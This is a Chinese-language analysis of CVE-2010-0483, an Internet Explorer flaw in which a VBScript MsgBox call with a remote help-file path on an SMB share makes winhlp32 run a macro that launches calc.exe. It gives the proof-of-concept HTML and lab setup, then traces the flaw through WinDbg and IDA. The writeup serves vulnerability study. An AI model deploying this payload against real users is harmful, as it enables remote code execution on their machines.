CVE-2010-0483分析 Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe' 'MsgBox()' Remote Code Execution
相關資料:https://www.exploit-db.com/exploits/11615/
目的是為了了解漏洞執行的流程。
根據資料準備服務端環境:
用一臺win7當做是服務器,需要在win7上共享一個文件夾用於客戶端訪問。我的測試環境共享的文件夾是www。
(1)啟用Guest來賓賬戶,共享文件夾時將Guest添加讀權限。此時在win7本機上應能訪問,但在局域網的XP虛擬機無法訪問 \\192.168.0.11\www\
(2)運行 secpol.msc 打開本地安全策略->本地策略->用戶權限分配->拒絕從網絡訪問此計算機->去掉Guest 此時XP虛擬機可以訪問共享文件
(3)在www目錄放置test.hlp文件和html文件提供給客戶端訪問
html文件內容大致如下
<html> <body> <script type="text/vbscript"> big = "\\192.168.0.11\www\test.hlp" //For i=1 to 2500 // big = big & "\..\" //Next MsgBox "please press F1 to save the world", ,"please save the world",big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 </script> </body> </html>
搜索vbscript MsgBox相關資料
MsgBox(prompt[,buttons][,title][,helpfile,context])
參數helpfile可以指定對話框提供上下文相關幫助的幫助文件,那麽就是按下F1時,訪問了遠程指定的hlp文件
先大致看一眼hlp文件內容,發現了調用了calc.exe
2、客戶端測試
打開IE,並用windbg attach進程,然後訪問html頁面並在彈出MsgBox時,按下F1出來下面的情況:
根據現象,似乎創建了一個新進程,可以通過ProcessHacker工具的Log查看,或者直接觀察任務管理器,進一步確認後,給CreateProcess下斷定位漏洞流程。
bp kernel32!CreateProcessW
按下F1,斷下後查看函數參數,執行了"C:\WINDOWS\winhlp32 -x",創建winhlp32.exe。 但卻沒有發現和"\\192.168.0.11\www\test.hlp"相關的信息
再查看函數調用堆棧
觀察WinHelpA、FindWinHelpWindow、LaunchHelp這重要函數。
根據IDA的分析 BOOL __stdcall WinHelpA(HWND hWndMain, LPCSTR lpszHelp, UINT uCommand, ULONG_PTR dwData)
先給WinHelpA下斷
bp USER32!WinHelpA 運行後,重新按F1後斷下根據棧上的參數確認了lpszHelp變量指向了"\\192.168.0.11\www\test.hlp"
IDA中F5反匯編USER32!WinHelpA 函數跟蹤lpszHelp變量,發現只有HFill 函數操作了這個變量。跟進HFill函數分析。
HFill函數分配內存,復制lpszHelp到該內存的偏移0x10處。
__stdcall HFill(LPCSTR lpszHelp, USHORT uCommand, ULONG_PTR dwData) { if(lpszHelp != 0) { int len = strlen(lpszHelp) + 1;//ebx int s1 = 0;//esi; if(dwData != NULL) { loc_77D4762E BYTE tmp = (arg_4>>8&)0xFF; if(tmp != 1) { if(tmp == 2)s1 = *arg_8; }else{ loc_77D47643 } LPBYTE p = LocalAlloc(0x40,s1 + len + 0x10 );//分配內存 if(p != NULL) { *(WORD *)(p+2) = uCommand; *(WORD *)p = 0; *(DWORD *)(p+8) = 0; if(lpszHelp != NULL) { *(WORD *)(p+0xC) = 0x10; strcpy((p+0x10),lpszHelp);//復制lpszHelp到分配的內存偏移0x10處 }else{ *(WORD *)(p+0xC) = 0; } if(tmp!= 1 && s1 != 0) { loc_77D47682 }else if(tmp == 2 && s1 != 0){ loc_77D4765E }else{ *(DWORD *)(p+4) = dwData; } loc_77D3EE2F *(WORD *)(p+0xE) = dx; return p;//返回了分配的地址 }else{ loc_77D47657 } } }else{ loc_77D3EE3A } }
在WinHelpA函數剩下的流程中,FindWinHelpWindow 根據上面的調用堆棧知道該函數創建了winhlp32進程,並返回了窗口句柄。
SendWinHelpMessage發送消息碼為0x38的消息並將HFill函數分配的內存作為lParam。
為了調試新創建的進程執行 .childdbg 1命令進行子進程調試,運行斷下後
根據左下角的1表示斷在了新進程中。
因為SendMessage發送的不是隊列消息,所以要找到窗口的消息回調函數。一般消息回調函數都會調用默認的處理函數DefWindowProc
IDA分析winhlp32.exe,並在導入表中定位默認消息回調函數DefWindowProc,ctrl+x交叉引用找到引用的位置 。定位到了比較有可能是消息回調函數的HelpWndProc
到達HelpWndProc後,繼續F5反匯編定位到了這段代碼
經確認消息碼確實是0x38。下斷bp winhlp32!HelpWndProc ".if(poi(esp+8) != 0x38){g}" ,斷下後跟進DispatcherProc
用pct命令對實際執行的函數,跳過不重要的函數,定位到了調用_GenerateMessage(0x407u, 0, (LPARAM)v24); 該函數發送了消息碼0x407,參數v24包含hlp路徑
重新查看HelpWndProc對0x407的處理,定位到
因為hlp文件會創建計算器進程,再對CreateProcessW下斷,定位流程,斷下後查看函數調用堆棧
ShellExecuteA這個的功能是運行一個外部程序。猜測應該是打開了計算器,重新下斷調試進行確認
winhlp32進程創建後, bp SHELL32!ShellExecuteA
那就表示此時已經在執行hlp文件的內容了,再定位winhlp32!Execute下斷查看參數
根據IDA的分析 ; int __stdcall Execute(LPCSTR lpString2) 發現參數lpString2為hlp文件的內容 "EF("C:\\WINDOWS\\calc.exe",`‘,1) "。
再定位上層函數ConfigMacrosHde 用IDA進行反匯編
可以看出ConfigMacrosHde函數的作用就是循環讀取hlp的內容並由Execute函數負責執行。
繼續定位上層函數 FReplaceCloneHde,重新調試,創建winhlp32.exe進行進程時 ,對FReplaceCloneHde下斷
bp winhlp32!FReplaceCloneHde
F5對上層函數ExecAPI 反匯編 可以知道FReplaceCloneHde 參數1是一個字符串指針,參數2是指向help文件路徑字符串指針的指針
F5對FReplaceCloneHde進行反匯編,ConfigMacrosHde的數據來自v38,而v38來自於HCreate ,v5就是參數2 ppHelp指向hlp文件的指針的指針
打開文件的流程是HdeCreate->sub_1019C49 ->HfsOpenFm->FPlungeQfshr->FidOpenFm->kernel32!_lopen
最後去掉共享,禁用Guest,恢復之前的準備工作。
CVE-2010-0483分析 Microsoft Internet Explorer 6/7/8 - 'winhlp32.exe' 'MsgBox()' Remote Code Execution